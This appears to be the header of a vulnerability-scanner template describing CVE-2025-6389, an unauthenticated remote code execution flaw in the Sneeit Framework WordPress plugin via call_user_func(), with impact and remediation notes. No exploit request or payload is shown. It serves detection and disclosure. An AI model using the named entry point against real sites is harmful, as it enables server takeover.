Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func

id: CVE-2025-6389

info:
  name: Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
  author: DhiyaneshDk
  severity: critical
  description: |
    The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially injecting backdoors or creating new admin accounts.
  remediation: |
    Update to the latest version beyond 8.3.
